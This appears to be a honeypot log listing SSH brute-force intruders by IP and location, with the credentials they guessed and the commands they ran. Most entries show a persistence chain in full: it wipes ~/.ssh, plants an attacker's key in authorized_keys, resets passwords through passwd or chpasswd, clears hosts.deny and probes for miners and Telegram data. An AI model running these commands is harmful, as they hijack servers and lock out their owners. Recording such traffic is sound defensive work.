$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ restless_stroopwafel_root (91.92.40.43) โ€” Eygelshoven, The Netherlands ยท 14 sessions ยท 14 cmds
2026-07-25 01:24 EDT ยท as admin/admin123, deploy/deploy123, oracle/P@ssw0rd
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—14
๐ŸŽญ wily_blitz_root (64.226.126.224) โ€” Frankfurt am Main, Germany ยท 5 sessions ยท 45 cmds
2026-07-06 11:44 EDT ยท as root/root
network mapping โ†’ OS/kernel identification โ†’ CPU profiling
$ /ip cloud print ร—5
$ ifconfig ร—5
โ†ณ network mapping
$ uname -a ร—5
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo ร—5
โ†ณ CPU profiling
$ ps | grep '[Mm]iner' ร—5
$ ps -ef | grep '[Mm]iner' ร—5
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/* ร—5
$ locate D877F783D5D3EF8Cs ร—5
$ echo Hi | cat -n ร—5
๐ŸŽญ zealous_neon_root (47.82.117.76) โ€” Hong Kong, Hong Kong ยท 1 session ยท 1 cmd
2026-07-25 01:10 EDT ยท as deploy/deploy123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ glitchy_shadow_root (190.119.63.81) โ€” La Victoria, Peru ยท 112 sessions ยท 112 cmds
2026-07-05 15:59 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—112
๐ŸŽญ sullen_rendang_root (163.7.13.17) โ€” Yogyakarta, Indonesia ยท 1 session ยท 2 cmds
2026-07-24 22:59 EDT ยท as oracle/ORACLE
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ weary_minar_sol (101.50.83.146) โ€” Islamabad, Pakistan ยท 6 sessions ยท 6 cmds
2026-07-24 18:21 EDT ยท as sol/sol, sol/sol@123, solana/solana
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m ร—6
โ†ณ obfuscated system check
๐ŸŽญ clandestine_stroopwafel_root_252 (77.239.124.252) โ€” Amsterdam, The Netherlands ยท 31 sessions ยท 31 cmds
2026-07-24 16:58 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 3x across 3 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ rabid_ximen_sol (104.199.176.250) โ€” Taipei, Taiwan ยท 2 sessions ยท 22 cmds
2026-07-08 02:16 EDT ยท as oracle/pass123, test/123456
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "123456\njY89wV7oRtq7\njY89wV7oRtq7"|passwd|bash
$ Enter new UNIX password:
$ echo "123456\njY89wV7oRtq7\njY89wV7oRtq7\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ obsidian_k-pop_root (218.150.184.241) โ€” Seocheon-gun, South Korea ยท 1 session ยท 20 cmds
2026-07-24 17:46 EDT ยท as postgres/postgres
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "postgres\n6lSPviss9Y02\n6lSPviss9Y02"|passwd|bash
$ Enter new UNIX password:
$ echo "postgres\n6lSPviss9Y02\n6lSPviss9Y02\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ nocturnal_kimchi_root (211.46.177.174) โ€” Cheongyang-gun, South Korea ยท 1 session ยท 20 cmds
2026-07-24 16:18 EDT ยท as postgres/postgres
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "postgres\nuZfvB5NGPQQP\nuZfvB5NGPQQP"|passwd|bash โ†’ Enter new
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "postgres\nuZfvB5NGPQQP\nuZfvB5NGPQQP"|passwd|bash
$ Enter new UNIX password:
$ echo "postgres\nuZfvB5NGPQQP\nuZfvB5NGPQQP\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ obsidian_sphinx_root (197.199.224.52) โ€” Al Qฤhirah al Jadฤซdah, Egypt ยท 1 session ยท 2 cmds
2026-07-24 15:52 EDT ยท as oracle/123qwe123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ ashen_crepe_sol (87.106.47.28) โ€” Paris, France ยท 2 sessions ยท 39 cmds
2026-07-01 17:04 EDT ยท as pi/pi, root/P@ssw0rd1!
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l ร—2
โ†ณ CPU profiling
$ echo -e "pi\nFe7UFNJaopnu\nFe7UFNJaopnu"|passwd|bash
$ Enter new UNIX password:
$ echo "pi\nFe7UFNJaopnu\nFe7UFNJaopnu\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ร—2
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ร—2
$ ls -lh $(which ls) ร—2
$ which ls ร—2
$ crontab -l ร—2
โ†ณ persistence setup
$ w ร—2
โ†ณ logged-in users check
$ uname -m ร—2
$ cat /proc/cpuinfo | grep model | grep name | wc -l ร—2
โ†ณ CPU profiling
$ top ร—2
โ†ณ process monitoring
$ uname ร—2
โ†ณ OS identification
$ uname -a ร—2
โ†ณ OS/kernel identification
$ whoami ร—2
โ†ณ privilege check
$ lscpu | grep Model ร—2
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ร—2
$ echo "root:bVUXnRziaqVp"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
๐ŸŽญ arctic_echo_sol (186.68.83.104) โ€” Junรญn, Ecuador ยท 1 session ยท 20 cmds
2026-07-24 13:23 EDT ยท as pi/pi
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "pi\nBqJhtaKlqrMH\nBqJhtaKlqrMH"|passwd|bash
$ Enter new UNIX password:
$ echo "pi\nBqJhtaKlqrMH\nBqJhtaKlqrMH\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ unhinged_hanbok_root (218.157.179.170) โ€” Daegu, South Korea ยท 3 sessions ยท 27 cmds
2026-07-13 02:02 EDT ยท as root/root
network mapping โ†’ OS/kernel identification โ†’ CPU profiling
$ /ip cloud print ร—3
$ ifconfig ร—3
โ†ณ network mapping
$ uname -a ร—3
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo ร—3
โ†ณ CPU profiling
$ ps | grep '[Mm]iner' ร—3
$ ps -ef | grep '[Mm]iner' ร—3
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/* ร—3
$ locate D877F783D5D3EF8Cs ร—3
$ echo Hi | cat -n ร—3
๐ŸŽญ rusty_gondola_sol (5.99.196.202) โ€” Grosseto, Italy ยท 1 session ยท 20 cmds
2026-07-24 12:35 EDT ยท as sol/sol
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "sol\nPtgQPqW3ZZJ3\nPtgQPqW3ZZJ3"|passwd|bash
$ Enter new UNIX password:
$ echo "sol\nPtgQPqW3ZZJ3\nPtgQPqW3ZZJ3\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ nocturnal_eagle_sol (40.121.200.75) โ€” Boydton, United States ยท 1 session ยท 20 cmds
2026-07-24 12:24 EDT ยท as sol/sol
chattr -ia .ssh โ†’ rm -rf .ssh โ†’ mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ passwd sol/sol โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ free -m | grep Mem โ†’ ls -lh $(which ls) โ†’ which ls โ†’ crontab -l โ†’ w โ†’ uname -m โ†’ cat /proc/cpuinfo | grep model
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "sol\n1QO8PtmJ7k08\n1QO8PtmJ7k08"|passwd|bash
$ Enter new UNIX password:
$ echo "sol\n1QO8PtmJ7k08\n1QO8PtmJ7k08\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ ironclad_junk_root (129.226.114.61) โ€” Hong Kong, Hong Kong ยท 2 sessions ยท 2 cmds
2026-07-08 16:12 EDT ยท as admin/admin123, test/test
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a ร—2
โ†ณ OS/kernel identification
๐ŸŽญ stoic_strudel_root (51.75.64.35) โ€” Limburg an der Lahn, Germany ยท 2 sessions ยท 4 cmds
2026-06-25 11:13 EDT ยท as oracle/0racle, oracle/oracle01
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ grumpy_muay_root (147.50.103.212) โ€” Pattaya, Thailand ยท 1 session ยท 2 cmds
2026-07-24 11:10 EDT ยท as oracle/11111111
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ aloof_meatball_root (171.25.158.47) โ€” Vaxjo, Sweden ยท 3 sessions ยท 24 cmds
2026-07-04 17:58 EDT ยท as bitcoin/bitcoin, oracle/Admin123, oracle/oracle@2023
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—3
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—3
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "bitcoin\nsbCocGCnUX9a\nsbCocGCnUX9a"|passwd|bash
$ Enter new UNIX password:
$ echo "bitcoin\nsbCocGCnUX9a\nsbCocGCnUX9a\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ drowsy_panda_root (36.134.167.240) โ€” Guangzhou, China ยท 1 session ยท 1 cmd
2026-07-24 08:02 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ clandestine_amber_root (54.37.235.85) โ€” Wroclaw, Poland ยท 1 session ยท 2 cmds
2026-07-24 03:51 EDT ยท as oracle/M3gaP33!
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ obsidian_stroopwafel_root (77.239.124.236) โ€” Amsterdam, The Netherlands ยท 31 sessions ยท 31 cmds
2026-07-24 01:54 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ sneaky_cowboy_root (135.237.122.43) โ€” Boydton, United States ยท 2 sessions ยท 22 cmds
2026-07-05 13:09 EDT ยท as docker/docker123, oracle/123456789
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" โ†’ cat /proc/cpuinfo | grep name | wc
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
